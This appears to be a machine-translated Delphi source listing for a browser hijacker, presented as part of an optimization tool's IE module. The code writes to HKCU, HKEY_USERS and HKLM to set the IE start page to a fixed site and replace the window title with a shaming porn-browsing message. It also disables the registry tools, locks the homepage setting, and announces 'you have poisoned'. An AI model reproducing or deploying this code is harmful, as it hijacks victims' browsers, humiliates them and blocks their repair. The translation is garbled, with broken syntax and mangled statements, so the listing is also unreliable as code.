In fact, it is a modification of several key values (BULLSHIT) to see this Delphi, you will know how to write the module of the IE part of the Windows Optimization Master (module http: //lkpc.126 .com) unit unit2;
Interface
Uses Windows, Messages, Sysutils, Classes, Graphics, Controls, Forms, Dialogs, stdctrls, buttons, registry;
TYPE TFORM2 = Class (TFORM) Bitbtn1: Tbitbtn; Memo1: Tmemo; Procedure Bitbtn1click (sender: TOBJECT); private {private declarations}
Var Form2: TFORM2;
IMPLEMENTATION
{$ R * .dfm}
Procedure tForm2.bitbtn1click (Sender: Tobject); Var REG: Tregistry; S1, S2, S3, S4, S5, S6, REG1, REG2, REG3, REG4, REG5, REG6: String; Begin Reg: = Tregistry.create; S1 : = 'Haha! You have browsed the porn website, and it doesn't admit it? Here is evidence! '; S2: =' http: //lkpc.126.com '; s3: =' start page '; s4: =' window title '; s5: =' disableregISTRYTOOLS '; S6: =' homepage '; reg1: = '/ Software / Microsoft / Internet Explorer / Main'; reg3: = '/ Software / Microsoft / Windows / CurrentVersion / Policies / system'; reg4: = '/ Software / Policies / Microsoft / Internet Explorer / Control Panel'; reg2: '. / DEFAULT / Software / Microsoft / Internet Explorer / Main' =; reg5: = '. / DEFAULT / Software / Microsoft / Windows / CurrentVersion / Policies / System'; reg6:. = '/ DEFAULT / Software / Policies / Microsoft / Internet Explorer / Control Panel '; try // Modify hkey_current_user; reg.rootkey: = HKEY_CURRENT_USER; if reg.openkey (reg1, true) Then; Begin Reg.writestring (S4, S1); // Title Reg.writestring (S3 , S2); // Default home page end; if reg.openkey (reg3, true) THEN REG.WRITEINTEGER (S5, 1); if reg.openkey (reg4, true) THEN REG.WRITEINTEGER (S6, 1); / / Unlock Home // Modify HKEY_USERS REG.ROOTKEY: = HKEY_USERS; if reg.openkey (reg2, true) Then; recomsed (s4, s1); // Title Reg.WritString (S3, s2); // Lack Provincial home page end; if reg.openkey REG5, TRUE) THEN REG.WRITEINTEGER (S5, 1); if reg.openkey (reg6, true) THEN REG.WRITEINTEGER (S6, 1); // Modify hkey_local_machine reg.rootkey: = hkey_local_machine; if reg.openkey (Reg1 True; begin reg.writeString (S4, S1); // Title REG.WRITESTRING (S3, S2); // Default home page end; if reg.openkey (reg3, true) THEN REG.WRITEINTEGER (S5, 1);
If reg.openkey (reg4, true) THEN REG.WRITEINTEGER (S6, 1); // Unlock the homepage reg.closekey; messagedlg ('you have poisoned! Close all IE windows will be opened again! Take a look at what symptoms!' , Mtinformation, [Mbok], 0); Finally Reg.free; inherited; end;
End.
